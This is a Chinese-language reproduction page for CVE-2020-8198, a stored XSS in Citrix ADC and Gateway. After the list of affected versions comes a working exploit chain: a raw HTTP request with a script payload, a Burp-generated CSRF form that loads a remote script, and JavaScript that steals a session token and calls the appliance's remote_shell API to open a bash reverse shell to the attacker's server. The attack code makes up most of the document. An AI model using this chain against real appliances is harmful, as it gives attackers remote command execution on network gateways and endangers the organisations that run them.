跳转至

(CVE-2020-8198)Citrix 储存型xss

一、漏洞简介

要求受害者以NSIP管理员(nsroot)的身份登录

二、漏洞影响

Citrix ADC and Citrix Gateway: \< 13.0-58.30

Citrix ADC and NetScaler Gateway: \< 12.1-57.18

Citrix ADC and NetScaler Gateway: \< 12.0-63.21

Citrix ADC and NetScaler Gateway: \< 11.1-64.14 

NetScaler ADC and NetScaler Gateway: \< 10.5-70.18

Citrix SD-WAN WANOP: \< 11.1.1a

Citrix SD-WAN WANOP: \< 11.0.3d

Citrix SD-WAN WANOP: \< 10.2.7

Citrix Gateway Plug-in for Linux: \<  1.0.0.137

三、复现过程

POST /menu/stapp HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-NITRO-USER: henk

sid=254&amp;pe=1,2,3,4,5&amp;appname=%0a&lt;/title&gt;&lt;script&gt;alert('xss')&lt;/script&gt;&amp;au=1&amp;username=nsroot

深入利用

csrf.html

&lt;html&gt;
  &lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://www.0-sec.org/menu/stapp" method="POST"&gt;
      &lt;input type="hidden" name="sid" value="254" /&gt;
      &lt;input type="hidden" name="pe" value="1,2,3,4,5" /&gt;
      &lt;input type="hidden" name="appname" value="%0a&lt;/title&gt;&lt;script src='http://localhost:9090/code_exec.js'&gt;&lt;/script&gt;" /&gt;
      &lt;input type="hidden" name="au" value="1" /&gt;
      &lt;input type="hidden" name="username" value="nsroot" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;

code_exec.js

function load(url, callback) {
  var xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      rand = callback(xhr.response);
      exec_command(rand);
    }
  }

  xhr.open('GET', url, true);
  xhr.send('');
}

function get_rand(payload) {
    var lines = payload.split("\n");
    for(var i = 0; i &lt; lines.length; i++) {
        if (lines[i].includes('var rand = "')) {
            var rand = lines[i].split('"')[1]
            return rand;
        }
    }
}

function exec_command(rand) {
    url = '/rapi/remote_shell'
    command = 'bash -c \"bash -i &gt;%26 /dev/tcp/你的服务器/16588 0&gt;%261\"'

    var obj = {
        "params":{
            "warning":"YES"
        },
        "remote_shell":{
            "command":command,
            "prompt":"&gt;",
            "target":"shell",
            "suppress":0,
            "execute_in_partition":""
        }
    }

    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            response = JSON.parse(xhr.response);
            alert(response['remote_shell']['output']);
        }
    }

    xhr.open('POST', url, true);
    xhr.setRequestHeader('rand_key', rand)
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
    xhr.send('object=' + JSON.stringify(obj));

}

var url = '/menu/stc';
load(url, get_rand)

1.png